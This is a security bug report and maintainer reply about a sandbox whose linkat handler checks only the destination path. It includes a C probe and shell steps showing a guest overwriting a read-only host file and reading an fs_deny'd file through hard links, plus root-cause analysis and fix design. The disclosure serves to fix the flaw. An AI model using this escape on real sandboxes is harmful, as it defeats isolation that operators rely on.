Hard link out of a read-only mount (or an fs_deny'd path) bypasses the restriction
A guest that holds any writable mount can hard-link a file out of a read-only mount and write through the alias, and can hard-link an fs_deny'd file and read it through the alias. Both are reproducible on main (841e8bd).
The linkat handler gates the new path only; the old path is resolved and then discarded.
Reproduction
Static probe, because tests/rootfs-helper has no link command:
// probe.c — gcc -static -o probe probe.c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
int main(int argc, char **argv) {
if (argc >= 4 && strcmp(argv[1], "link") == 0) {
if (link(argv[2], argv[3]) != 0) { perror("link"); return 1; }
puts("link ok"); return 0;
}
if (argc >= 4 && strcmp(argv[1], "clobber") == 0) {
int fd = open(argv[2], O_WRONLY | O_TRUNC);
if (fd < 0) { perror("open"); return 1; }
write(fd, argv[3], strlen(argv[3])); close(fd);
puts("clobber ok"); return 0;
}
return 2;
}
Two host directories on the same filesystem, one mounted read-only, one writable:
echo "SECRET-ORIGINAL" > $HOSTRO/secret.txt
POL="--chroot $ROOTFS -r /usr -r /bin -r /sbin -r /etc -r /proc -r /dev
-r /ro -w /rw --fs-mount /ro:$HOSTRO:ro --fs-mount /rw:$HOSTRW"
1. Read-only mount
$ sandlock run $POL -- /bin/probe clobber /ro/secret.txt PWNED
open: Permission denied # control: the ro marking works
$ sandlock run $POL -- /bin/probe link /ro/secret.txt /rw/alias
link ok
$ sandlock run $POL -- /bin/probe clobber /rw/alias PWNED-VIA-HARDLINK
clobber ok
$ cat $HOSTRO/secret.txt
PWNED-VIA-HARDLINK
Both names share one inode, so the write lands on the host file behind the read-only mount.
2. fs_deny
Same shape, and arguably worse, because fs_deny is documented as denying both read and write "even if implied by a broader rule":
$ sandlock run --chroot $ROOTFS ... -w /rw --fs-mount /rw:$HOSTRW \
--fs-deny /rw/denied.txt -- /bin/cat /rw/denied.txt
cat: /rw/denied.txt: Permission denied
$ ... -- /bin/probe link /rw/denied.txt /rw/alias2
link ok
$ ... -- /bin/cat /rw/alias2
TOP-SECRET
Symlinks do not reproduce this — the link is resolved at open time and hits the same check. Hard links do, because the alias is a first-class name for the inode.
Constraint on the attack: hard links cannot cross filesystems, so the guest needs a writable mount on the same host filesystem as the protected one. In practice a workdir and a read-only data mount under the same host tree satisfy that.
Probable root cause
crates/sandlock-core/src/chroot/dispatch.rs:1044-1062. The old path's virtual form is dropped on resolution:
let (old_host, _) = match resolve_chroot_path(...)
and the only gate is on the new side:
if !ctx.can_write(&new_vp) { return NotifAction::Errno(libc::EACCES); }
SYS_renameat2 at dispatch.rs:977 does check both:
if !ctx.can_write(&old_vp) || !ctx.can_write(&new_vp)
ChrootCtx::can_write / is_mount_ro (dispatch.rs:96-112) look correct on their own — deny, then mount_ro, then is_mounted, then writable — so the gap looks like the caller rather than the predicate. There is no backstop: the supervisor performs the link() on the guest's behalf (dispatch.rs:1081), so no Landlock rule intervenes.
I have not audited linkat's neighbours for the same shape.
Where I am unsure, and why I did not send a patch
Mirroring renameat2 is the obvious move, but I do not think it is obviously right, and the choice belongs to you:
can_write(old) && can_write(new)closes both reproductions. But a hard link is not a rename: the new name grants full access to the inode, so this reads as "you may only create a second name for something you could already have rewritten", which seems right in principle. It also forbids linking a read-only file into a working directory purely to read it later — a legitimate pattern that works today.can_read(old) && can_write(new)allows that pattern and does not close the hole: read access plus a writable alias is the exploit.fs_denymay need something stronger still. If a denied path must never be reachable, the rule is about the inode, not the path, and no per-path predicate onlinkatalone will hold — the guest could link through a chain of intermediate names. Whether the deny list is meant to be that strong is a design question I cannot answer from the outside.
There is also a question I have not investigated: whether an already-open descriptor obtained before a policy check offers a similar alias, and whether linkat's AT_EMPTY_PATH form (linking by fd) is reachable here.
Happy to write the patch once you have picked the predicate — with a test in the shape of the reproduction above, which today passes while the hole is open.
Why the tests do not catch it
The chroot suite exercises linkat for path resolution but not against a read-only mount or a denied path; there is no test asserting that a protected inode cannot acquire a second name. The read-only mount test added in the fs_mount_ro work covers open/creat/truncate only, so it stays green with this open.
Confirmed on both counts, and the diagnosis is right: dispatch.rs:1053 drops old_vp and line 1062 is the only gate. I audited the neighbours you didn't: linkat and renameat2 are the only two-path handlers, so this is a single site rather than a pattern.
Go with can_write(old) && can_write(new). It's forced rather than chosen. After the link, authority over the inode is policy(old) | policy(new), so the link is safe only when policy(new) is a subset of policy(old). Creating the link requires can_write(new), so the new name always carries write, and read too since a writable-prefix match satisfies can_read at line 89. A superset of read+write on the old side is exactly can_write(old).
So the read-only-alias pattern can't be saved: a hard link has no way to express a name weaker than the directory holding it. cp is the workaround. This is also the rule Landlock's REFER already enforces on the non-chroot path (requested at landlock.rs:56), so the change makes the two enforcement modes agree instead of diverging.
Your two open questions:
AT_EMPTY_PATHis reachable and the same fix covers it.build_virtual_path(lines 227-239) resolves a relative path againstdirfdvia/proc/<pid>/fd/<dirfd>, and an empty path joins to the fd's own path, soold_vpis already correct for the fd form. Worth maskingAT_EMPTY_PATHoff the flags forwarded at line 1080 regardless; it's a kernel no-op there today, but only incidentally.- Pre-opened descriptors aren't an issue. The old side is always resolved to a path and checked at link time, and policy is fixed for the sandbox lifetime.
On the fs_deny bullet: with can_write(old) in place a chain can't start, since aliasing a denied path requires write on it. But you're right that path deny isn't inode deny, and there's a live escape of the same family this fix won't close. is_denied (line 73) is a one-directional prefix test, so --fs-deny /rw/sub/secret.txt leaves /rw/sub writable, renameat2 permits rename("/rw/sub", "/rw/other"), and /rw/other/secret.txt then matches no deny rule. I confirmed the predicates behave that way but haven't run a full repro. That needs its own predicate on rename sources (reject when any denied path lies under the source), so I'll file it separately rather than fold it in here.
Scope note: the exposure needs chroot mode with no COW branch covering the destination, since cow::handle_link (cow/seccomp.rs:1481) does ensure_cow_copy and links in the upper layer, never aliasing the host inode. Your repro satisfies that.
Patch welcome. tests/rootfs-helper.c has ln -s but no hard link, so adding a ln command there would let the regression test live in the chroot suite instead of needing the static probe.